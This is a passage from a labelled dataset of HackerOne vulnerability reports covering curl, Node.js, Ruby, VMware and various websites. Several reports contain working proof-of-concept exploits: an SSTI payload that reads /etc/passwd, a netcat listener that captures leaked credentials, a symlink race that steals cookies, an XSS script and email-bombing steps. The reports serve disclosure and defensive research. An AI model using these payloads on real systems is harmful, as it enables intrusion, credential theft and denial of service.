3.1.0p0 (2021-12-25 revision fb4df44d16) [x86_64-linux]\n```\n\n## Impact\n\nHigh resource consumption, reduced performance, denial of service", "source": "hackerone", "timestamp": "2023-12-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "7c07a90ca8fd611351d1", "text": "[Unknown] no rate limit in forgot password session\n\nA little bit about Rate Limit:\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.\nIn case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.\n## Description:-\nI have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email\n\nSteps To Reproduce The Issue\n\nsetp1 - clik this link  =    https://www.yelp.com/login?return_url=https://www.yelp.com/seeyousoon?fsid=iY6PnT2UYrAnv0ASZEs3oQ\n\nStep 2- Intercept This Request In Burp And Forward Till You Found Your Number In Request Like\n\nPOST /j/collect?v=1&_v=j97&aip=1&a=1720823427&t=event&ni=1&_s=9&dl=https%3A%2F%2Fwww.yelp.com%2Flogin%3Freturn_url%3Dhttps%3A%2F%2Fwww.yelp.com%2Fseeyousoon%3Ffsid%3DiY6PnT2UYrAnv0ASZEs3oQ&ul=en-us&de=UTF-8&dt=Log%20In%20-%20Yelp&sd=24-bit&sr=1920x940&vp=1910x753&je=0&ec=New%20Signup&ea=signup%20click&el=submit%20forgot%20password&_u=SICAAAABAAAAAC~&jid=215130607&gjid=774412709&cid=AF761EB18AB1E206&tid=UA-30501-24&_gid=232424112.1664351398&_r=1&z=1311429197 HTTP/2\nHost: www.google-analytics.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: text/plain\nContent-Length: 0\nOrigin: https://www.yelp.com\nReferer: https://www.yelp.com/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: cross-site\nTe: trailers\nConnection: close\n\nStep 3- Now Send This Request To Intruder And Repeat It 100 Time By Fixing Any Arbitrary Payload Which Doesn't No Effect Request I Choose Accept-Language: en-US,en;q=0.$5$\n\nStep 4 - See You Will Get 200 ok Status Code & 100 + Email In Your INBOX\nSee It Is Resulting In Mass Mailing Or Email Bombing To Your Users Which Is Bad For Business Impact\n\n\nI Will Recommend You To Add A ReCaptcha & Sort Of Something Which Requires Manual Human Interaction To Proceed Like You Can Add Captcha Like 2+2=_ so that it cannot be brute forced and you also can have a limit at the backend for particular number upto 5 times a day user can request Forget Password Email or Link something like that will prevent you from someone exploiting this vulnerability\n\n## Impact\n\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk", "source": "hackerone", "timestamp": "2022-09-29", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "063112e31459601e4f5e", "text": "[Unknown] [CPP]: Add query for CWE-805: Buffer Access with Incorrect Length Value using some functions\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "77f63c32c7943a507de9", "text": "[Server-Side Request Forgery (SSRF)] [CVE-2022-35949]: undici.request vulnerable to SSRF using absolute / protocol-relative URL on pathname\n\nGHSA: https://github.com/nodejs/undici/security/advisories/GHSA-8qr4-xgw6-wmr3\n\nReport: https://hackerone.com/reports/1642017\n\n## Impact\n\nSSRF", "source": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "609b9cd2ee45040514cb", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] CVE-2023-32001: fopen race condition\n\nAs we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ): \n```C\n  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {\n    /* a non-regular file, fallback to direct fopen() */\n    *fh = fopen(filename, FOPEN_WRITETEXT);\n...\n}\n...\n```\nThere is a race condition between the moment \"stat(filename, &sb)\" is executed and the moment \" fopen(filename, FOPEN_WRITETEXT);\" is executed.\nThis leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.\n\n###POC/Steps to reproduce:\nBefore we start, I will be using a little program called \"rename\". Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :\n```\n#include <strings.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#define _GNU_SOURCE\n#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <linux/fs.h>\n\n// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c\nint main(int argc, char *argv[]) {\n  while (1) {\n    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);\n  }\n  return 0;\n}\n```\n\nOpen two terminals, with two different users. One will be the attacker terminal and the other the victim. \nIn both POCs, the victim  will want to execute a command such as \"curl --cookie-jar a google.com\" thinking the file \"a\" doesn't exist.\n\n###A) Exploiting this vulnerability to trick a user to overwrite a file they own:\n\nAssume the current directory of both attacker(selmelc) and victim (root) looks like this\n```SHELL\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b\n-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n```\nThe attacker executes ./rename a b, which will not stop to swap the name of the directory \"b\" and the symlink \"a\". \n\nThe victim executes their command \"curl --cookie-jar a google.com\".\nThe race condition is successfully exploited if in the vulnerable code the stat identifies the file \"a\" as a directory and then the \"fopen\" opens the symlink that points to the file \"flag\".\nIf that happened then the results looks like this :\n```\n...\n-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag\n...\nroot@deb:/home/selmelc/Documents# cat flag\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n```\nAdditional note: \nYou might think \"well that's just how symlinks work\"... To clarify on that, by default if the victim was executing  \"curl --cookie-jar a google.com\" without the attacker exploiting the vuln. a different behavior would occur ; the file \"a\" would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.\n\n###B) Exploiting this vulnerability to steal the victim's cookies and hide it from them:\n\nAs this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the \"flag\" file to be owned by the attacker as following:\n```\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b\n-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n\n```\nNormal curl behavior after the victim executed  \"curl --cookie-jar a google.com\" :\n```\n-rw------- 1 root    root      131 Jun 27 08:49 a\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b\n-rw--w--w- 1 selmel", "source": "hackerone", "timestamp": "2023-07-25", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bab86d9c746604748739", "text": "[Path Traversal] Access to admininstrative resources/account via path traversal\n\n**Description:**\nA user can login as an administrator without the need of an ██████████ account, or an authenticated user can access and manipulate administrative resources without needing to login as an administrator. An ████████ (███████) account is required.\n## References\n\n## Impact\n\nExfiltration of sensitive data (IPs, system configurations, passwords, usernames, email addresses, names), website defacing, denial of service, potential rce, deletion of data.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nIf you do not have an ██████(██████████) account:\n\nNavigate to https://██████/\nLogin using your ████████ account. \nWhen you login you should be at the page https://███���██/Saba/██████/CustomLogin.jsp with the error \"There was an error while processing your request.  Please try again. If the problem persists, please contact the help desk at ████████\".\nNavigate to https://█████████/home\nYour account name should say \"Samba administrator\"\n\nIf you do have an █████████(███████) account:\n\nNavigate to https://█████/\nLogin using your ███████ account. \nNavigate to a page in the admin directory i.e. https://███████/Saba/Web_wdk/████████/platform/system/admin/systemMain.rdf  or https://██████████/Saba/Web_wdk/███████/Platform/system/admin/usersStatistics.rdf\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "6ec2cee887eb79b018f9", "text": "[Insufficiently Protected Credentials] CVE-2022-27776: Auth/cookie leak on redirect\n\n## Summary:\ncurl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).\n\n## Steps To Reproduce:\n\n1. Configure for example Apache2 to perform redirect with mod_rewrite:\n   ```\n   RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]\n    ```\n  ... the attacker could also use `.htpasswd` file to do so.\n  2. Set up netcat to listen for the incoming secrets:\n    `while true; do echo -ne 'HTTP/1.1 404 nope\\r\\nContent-Length: 0\\r\\n\\r\\n' | nc -v -l -p 9999; done`\n  3. `curl-L -H \"Authorization: secrettoken\" -H \"Cookie: secretcookie\" https://hostname.tld/redirectpoc`\n \nThe redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:\n```\nGET / HTTP/1.1\nHost: hostname.tld:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\nAuthorization: secrettoken\nCookie: secretcookie\n```\n\nThe attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.\n\nThis vulnerability is quite similar to `CVE-2022-27774` and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.\n\nThis bug appears to be at: \n- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904\n- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850\n\n## Impact\n\nLeak of Authorization and/or Cookie headers.", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8b05d940523f738cc590", "text": "[Use After Free] CVE-2023-28319: UAF in SSH sha256 fingerprint check\n\nlibcurl offers a feature to verify an SSH server's public key using a SHA 256\nhash. When this check fails, libcurl would free the memory for the fingerprint\nbefore it returns an error message containing the (now freed) hash.\n\nAffected versions: curl 7.81.0 to and including 8.0.1\nNot affected versions: curl < 7.81.0 and curl >= 8.1.0\n\nThe original submission can be found here: https://hackerone.com/reports/1913733\n\n## Impact\n\nThis flaw risks inserting sensitive heap-based data into the error message\nthat might be shown to users or otherwise get leaked and revealed.", "source": "hackerone", "timestamp": "2023-06-25", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3ef86a6792ab0aba5767", "text": "[Unknown] Yet another SSRF query for Javascript\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "611fa8e438da92a4b9f7", "text": "[Path Traversal] Permission model improperly protects against path traversal in Node.js 20\n\n**Summary:** A previously disclosed vulnerability (CVE-2023-30584) was patched insufficiently in commit [205f1e6](https://github.com/nodejs/node/commit/205f1e643e25648173239b2de885fec430268492). The new path traversal vulnerability arises because the implementation does not protect itself against the application overwriting built-in utility functions with user-defined implementations.\n\n**Description:** The function `possiblyTransformPath` calls `pathModule.resolve(path)`, where `pathModule` is the result of `require('path')`. Application code may replace the value of the `require('path').resolve`property with a user-defined function that does not resolve `/../` within any given path. Because `possiblyTransformPath` retrieves the value of the `pathModule.resolve` property dynamically, it will use the user-defined function instead of the built-in function and will thus fail to fully resolve the path given by the application. The vulnerability can be prevented by maintaining a reference to the original value of `pathModule.resolve` for use in `possiblyTransformPath`, assuming that the original implementation of the `resolve()` function is not subject to any such vulnerabilities itself.\n\n## Steps To Reproduce:\n\nTemporarily assigning `path.resolve = (s) => s` disables the resolution of `/../` within the permission model implementation.\n\n```console\n$ node --experimental-permission --allow-fs-read=/tmp/ -p \"path.resolve = (s) => s; fs.readFileSync('/tmp/../etc/passwd')\"\n<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 3174 more bytes>\n```\n\n## Supporting Material/References:\n\n* [Original HackerOne report 2092852 of this vulnerability](https://hackerone.com/reports/2092852)\n* [HackerOne report 1952978](https://hackerone.com/reports/1952978) for the previous path traversal vulnerability (CVE-2023-30584)\n* [Vulnerable implementation of `possiblyTransformPath`](https://github.com/nodejs/node/blob/af4cdcde154be58fc47b389670efbe10da489923/lib/internal/fs/utils.js#L711-L718)\n\n## Suggested patch\n\n```patch\ndiff --git a/lib/internal/fs/utils.js b/lib/internal/fs/utils.js\nindex b7354e30e9..4971656d0a 100644\n--- a/lib/internal/fs/utils.js\n+++ b/lib/internal/fs/utils.js\n@@ -710,2 +710,3 @@ const validatePath = hideStackFrames((path, propName = 'path') => {\n // The permission model needs the absolute path for the fs_permission\n+const resolvePath = pathModule.resolve;\n function possiblyTransformPath(path) {\n@@ -713,3 +714,3 @@ function possiblyTransformPath(path) {\n     if (typeof path === 'string') {\n-      return pathModule.resolve(path);\n+      return resolvePath(path);\n     }\n```\n\nThis patch assumes that `pathModule.resolve()` itself is not susceptible to having its behavior altered in a security-critical way through user-defined properties.\n\nThis patch was merged into the main branch of Node.js as [commit 32bcf4ca](https://github.com/nodejs/node/commit/32bcf4ca27bba9d4e48418f12dc6d7c2252e71ec) and into the Node.js 20 release line as [commit cd352751](https://github.com/nodejs/node/commit/cd352751118eccab625573092bf47d9b0d84b792).\n\n## Impact\n\nThe impact is almost identical with that of CVE-2023-30584. Applications may use this vulnerability to read and write files and directories that the user has not granted access to.", "source": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e7c56ffa3c1100f4e148", "text": "[Improper Certificate Validation] CVE-2023-28321: IDN wildcard match\n\n## Summary:\ncurl /libcurl uses wildcards for validation during TLS communication, even if the hostname is an IDN.\nEven if wildcards are present in the CN/SAN of the certificate, they must not be used to match if the hostname is an IDN.\nThis is described in [RFC-6125, section 6.4.3.][RFC]\n[RFC]: https://datatracker.ietf.org/doc/html/rfc6125#section-6.4.3\nYou probably know that.\nHowever, there was a problem with the implementation.\n`lib/vtls/hostcheck.c` in the function  'hostmatch' on lines 100-106.\n\n```\n  /* We require at least 2 dots in the pattern to avoid too wide wildcard\n     match. */\n  pattern_label_end = memchr(pattern, '.', patternlen);\n  if(!pattern_label_end ||\n     (memrchr(pattern, '.', patternlen) == pattern_label_end) ||\n     strncasecompare(pattern, \"xn--\", 4))\n    return pmatch(hostname, hostlen, pattern, patternlen);\n```\nI think `strncasecompare(pattern, \"xn--\", 4))` is `strncasecompare(hostname, \"xn--\", 4))`.\n`pattern` is a value that contains wildcards because it is CN/SAN.\nIn other words, it will not match \"xn--\" because it will be a string containing wildcards.\n\n## Steps To Reproduce:\n  1. Create a wildcard certificate.As an example, attach a certificate and private key with CN value of `x*.example.local`. {F2298301} {F2298300}\n  2. `openssl s_server -accept 443 -cert server.crt -key server.key -www`\n  3. Modify hosts so that the name resolution result of `xn--l8j.example.local‘ is the IP of your machine in order to perform the test in the local environment.\n4. `curl https://%E3%81%82.example.local  --cacert server.crt`\n\nWhen the above is executed, the communication succeeds even though it should result in a validation error.\n\n## Impact\n\nImproper Validation of Certificate with Host Mismatch.", "source": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "74f318cb28658b705f69", "text": "[Uncontrolled Resource Consumption] CVE-2023-28755: ReDoS vulnerability in URI\n\nOriginal report on the Ruby program: https://hackerone.com/reports/1444501\nAdvisort: https://www.ruby-lang.org/en/news/2023/03/28/redos-in-uri-cve-2023-28755/\nNIST entry: https://nvd.nist.gov/vuln/detail/CVE-2023-28755\nCVSS:  7.5 high `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` as listed by NIST but frankly I disagree with the `UI:N` part, I won't mind the extra 2k if you go with NIST but it didn't feel right not to mention it :) I filed the report with the CVSS I think this should have\n\nCopy of the original report:\n\n## Summary\n\nHello team, I hope you're doing well! The `URI` parser mishandles invalid URLs that have two `#` characters. It does correctly identify that they're invalid, but the regex performs very poorly and execution time grows much faster than the string length.\n\nI found this somewhat accidentally when fuzzing for something else. I'm not sure if you care about such issues but I figured I'd report it anyway. The length of the strings required to actually cause the process to hang are very long, but it's not really an issue when the user-controlled input is sent in a request body.\n\n## Steps to reproduce\n\nRun the following script\n\n```ruby\nrequire 'benchmark'\nrequire 'uri'\n\ndef parse(n)\n  URI('https://example.com/dir/' + 'a' * n + '/##.jpg')\n  rescue URI::InvalidURIError\n  # Invalid URI because of the two #\nend\n\nn = 50000\nBenchmark.bm(7) do |x|\n  x.report('Base length') { parse(n) }\n  x.report('Length x2  ') { parse(n * 2) }\n  x.report('Length x4  ') { parse(n * 4) }\n  x.report('Length x8  ') { parse(n * 8) }\nend\n```\n\nHere's the output on my machine\n\n```plaintext\n              user     system      total        real\nBase length  1.086961   0.003059   1.090020 (  1.090500)\nLength x2    4.415046   0.000000   4.415046 (  4.416986)\nLength x4   22.021462   0.003294  22.024756 ( 22.042507)\nLength x8  122.695223   0.006653 122.701876 (122.853669)\n```\n\nWe can see the execution time is roughly quintuples when the string length only doubles.\n\nHere's my Ruby version\n\n```shell\n$ ruby -v\nruby 3.1.0p0 (2021-12-25 revision fb4df44d16) [x86_64-linux]\n```\n\n## Impact\n\nHigh resource consumption, reduced performance, denial of service", "source": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "74b112b0237a3a07eed8", "text": "[Cross-site Scripting (XSS) - Stored] XSS exploit of RDoc documentation generated by rdoc (CVE-2013-0256)\n\nThe exploit exists in `paragraph` formatting that allows malicious code to be injected into the generated documentation.\n\nPoC\n----\n\nFor example, let's create the `example` file with the following content:\n```\n\\x[\\<script>alert(1);</script>\\]\n```\n\nNow, run rdoc:\n```sh\nrdoc --all\n```\n\nThe output html will have the following injected javascript code:\n```html\n<main role=\"main\" aria-label=\"Page example\">\n\n<p>x[<script>alert(1);</script>]</p>\n\n</main>\n```\n\nSolution\n--------\n\nI may be wrong with the solution, but I want to be more helpful :) At first glance, the vulnerable code is here:\n```rb\n  def accept_paragraph paragraph\n    @res << \"\\n<p>\"\n    text = paragraph.text @hard_break\n    text = text.gsub(/\\r?\\n/, ' ')\n    @res << to_html(text) # <====== CGI.escapeHTML(text)) ???\n    @res << \"</p>\\n\"\n  end\n```\nI suppose we should sanitize the output. For example, after changing `text` to `CGI.escapeHTML(text)` I've got the following result:\n\n```html\n<main role=\"main\" aria-label=\"Page example\">\n\n<p>x[&lt;script&gt;alert(1);&lt;/script&gt;]</p>\n\n</main>\n```\nI hope this doesn't break anything.  ^_^\n\n## Impact\n\nA cross-site scripting (XSS) vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload.", "source": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "aed5ab7816f6545c9cd4", "text": "[Uncontrolled Resource Consumption] Slowvote and Countdown can cause Denial of Service due to recursive inclusion\n\nSimilar to #85011, if you edit a Slowvote or Countdown object and include its own object ID in the description, then it will recursively include and prevent the page from loading.\n\nmongoose\n\n## Impact\n\nDenial of Service. You can include the Slowvote or Countdown object on any other object to also prevent it from loading. If it is included in the feed, you could also prevent the home page from loading.", "source": "hackerone", "timestamp": "2022-05-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b3cf9bbf347ab8467edb", "text": "[Code Injection] ██████████ vulnerable to CVE-2022-22954\n\nI found that one of the targets belongs to **DOD** vulnerable to **CVE-2022-22954** where an attacker may be able to execute any malicious code like escalating Remote code execution is also possible \n\n**Technical Summary:**\n\nCVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager. This vulnerability was assigned a CVSSv3 score of 9.8. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw.\n\n**Vulnerable URL:**\n\nhttps://████/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d\n\n## Impact\n\nThe impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nVMware workspace One\n\n## CVE Numbers\nCVE-2022-22954\n\n## Steps to Reproduce\n* Visit the vulnerable URL **https://████** and Intercept the request in burp suite\n* Append the following endpoint **/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d** and analyze the response you will see the contents of **/etc/passwd**\n\n**Request:**\n\n```\nGET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d HTTP/1.1\nHost: █████████\nCookie: LOGIN_XSRF=NSlYKinVNwgOtuT; JSESSIONID=A86B60C5FD0B58346764D1FB01DAF155\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nCache-Control: max-age=0\nTe: trailers\nConnection: close\n```\n\n**Response:**\n\n```\nHTTP/1.1 400 \nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nSet-Cookie: EUC_XSRF_TOKEN=6386e149-ff55-4a34-b474-30e6c0c62299; Path=/catalog-portal; Secure\nCache-Control: no-cache,private\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000 ; includeSubDomains\nX-Frame-Options: SAMEORIGIN\nContent-Type: text/html;charset=UTF-8\nContent-Language: en-US\nDate: Mon, 11 Apr 2022 15:03:40 GMT\nConnection: close\nContent-Length: 3576\n\n<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/html\">\n<head>\n    <title>Error Page</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"/>\n    <style>\n        body {\n            background: #465361;\n        }\n\n        .error-container {\n            position: fixed;\n            top: 50%;\n            left: 50%;\n            transform: translate(-50%, -50%);\n            -ms-transform: translate(-50%, -50%);\n            text-align: center;\n            width: 25%;\n            background-color: #fff;\n            padding: 20px;\n            box-shadow: 0 3px 2px -2px rgba(0, 0, .5, 0.35);\n            border-radius: 4px;\n        }\n\n        .error-img-container svg {\n            width: 40px;\n        }\n\n        .error-text-heading {\n            font-weight: bold;\n            p", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "aecc31f9af8d5ffd2e2c", "text": "[Business Logic Errors] Verification process done using different documents without corresponding to user information / User information can be changed after verification\n\n## Summary:\n\n1. A verified user can change their profile information  (Name, DoB and Address) after identity verification using the API endpoint /kyc_back/api/v2/surveys/personal_info \n2. A  user can verifiy their account with ofical documents that does not correspond to their Name and Address information provided in verification process\n\n*** Note -*** *my.exness.com does not allow to change profile information (Name, DoB, Address) using website or mobile app. The only point where a user can set name, address and dob is when verifying the account but after that, there is no way for the user an option to change such that information in the GUI.*\n\n## Affected enpoints:\n  - wbesite and mobile apps\n\n## Steps to Reproduce:\n\n***NOTE -*** The following steps covers the two issues found, changing info after verification and with documents that does not correspond to the user\n\n  1. Open BurpSuite CE, turn off the Proxy feature in order just to log each request made by the browser.\n  2. Configure your browser with BurpSuite CE proxy settings\n  3. Create an account for a real account (not a demo account), you can use a properly email provider or a dispoable one too\n  4. Go to https://my.exness.com/pa/settings/profile\n  5. At the top of the window, there is a button that helps to go to the process to verify the account\n  6. Verify the current verification step with the code sent to the email used\n  7.  Verify the current verification step with the code sent to the phone number used\n  7. Add any name, address and dob, click next\n  7. Continue with the verification process... \n  8. Select ID card, add your documents (it could be a oficial ID card that does not correspond to you)\n  9. You will asked to upload a document to proof your address, add it (you can add an oficial proof of address that is related to the previous document to comply names and address)\n  10. Submit your document and wait until they are verified (Do not let the session expires, continue click on the website normally)\n  11. Go to BurpSuite CE Proxy > HTTP hisotry tab > searcch for the following request and send it to Repeater: \n```\nPATCH /kyc_back/api/v2/surveys/personal_info\nHost: my.exness.com\n```\n  12. Refresh your page after some time, like 15-30 minutes more or less. \n  13. The identity verification was completed\n  14. Go to Burp Suite CE Repeater tab, scroll down and change the request body json data to the following:\n\n```\n{\"first_name\":\"test-1\",\"last_name\":\"test-2\",\"test-3\":\"\",\"dob\":\"1990-01-01\",\"address\":\"test-4\"}\n```\n\n  15. Send the request, you will get a HTTP 200 response with the following body: ***{\"status\":\"OK\"}***\n  17. The information was changed, you can check it out by browsing https://my.exness.com/pa/settings/profile or https://my.exnesstrade.pro/settings/personalInfo\n\nInformation when verification was completed\n\n{F1574748}\n\nInformation when verification was completed displayed in my.exness.pro\n{F1574749}\n\nInformation changed after verification\n\n{F1574752}\n\n\nInformation changed after verification and displayed in my.exness.pro\n\n{F1574751}\n\n\n## Impact\nAn attacker can use exness.com platform to start trading under someone's information and verify their account with oficial documents that does not corresponds to them. The business logic flaw in the platform makes it a not good-trusting site for any user being part of the platform or not due to it is possible to use someone's documents.\n\n## Mitigation\nAdd photo to the profile and then, facial recognition to match the photo on the ID with the person presenting the card\nAddress recognition to match the address on the proof of address document presented\n\n\n## Supporting Material/References:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html\n\n## Impact\n\nAn attacker can use exness.com platform to start trading under someone's information and verify their account with oficial documents that does no", "source": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1440b02d7f360d3e1bda", "text": "[Improper Restriction of Authentication Attempts] No Rate Limit on forgot password page\n\n## Summary:\nno rate limit bug on ur loigin page ..\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. [add step]\n  1. [add step]\n  1. [add step]\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Recommendations for Fixing/Mitigation\n[If you have a recommendation for how to fix, we would love to know so we can fix it faster. Even more appreciated would be a Merge Request! We are open source and our code is at https://gitlab.com/upchieve]\n\n## Impact\n\nYour site should have 12-13 passwords or NAND passwords and limitations.", "source": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "08954ddb6d8f82bb4fb8", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-42916: HSTS bypass via IDN\n\n## Summary:\nHSTS checks are bypassed if any character in the IDN convert(Nameprep) to a '.'\nfor example\"。\"(UTF-8:E38082).\nI think there are other characters that become \".(UTF-8:2E)\" as a result of converting with IDN.\n\n'。(UTF-8:E38082)' is converted to '.' so it doesn't matter if it's last or not.\nSo the same thing happens with \"http://accounts.google.com。\" as well as \"http://accounts.google。com\".\n\n## Steps To Reproduce:\n`curl -v --hsts hsts.txt http://accounts.google.com。`\nI prepared \"test.sh\" because I was worried about whether I could try it in an environment without Japanese fonts. The character encoding is UTF-8.\n\nhsts:txt:\n```\n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\n.accounts.google.com \"20231011 14:44:21\"\n```\n\nThe results of the execution are shown below.\n\nIDN When not converting:\n```\n# curl -v --hsts hsts.txt http://accounts.google.com\n* Switched from HTTP to HTTPS due to HSTS => https://accounts.google.com/\n*   Trying 142.250.196.141:443...\n* Connected to accounts.google.com (142.250.196.141) port 443 (#0)\n* ALPN: offers h2\n* ALPN: offers http/1.1\n*  CAfile: /etc/ssl/certs/ca-certificates.crt\n*  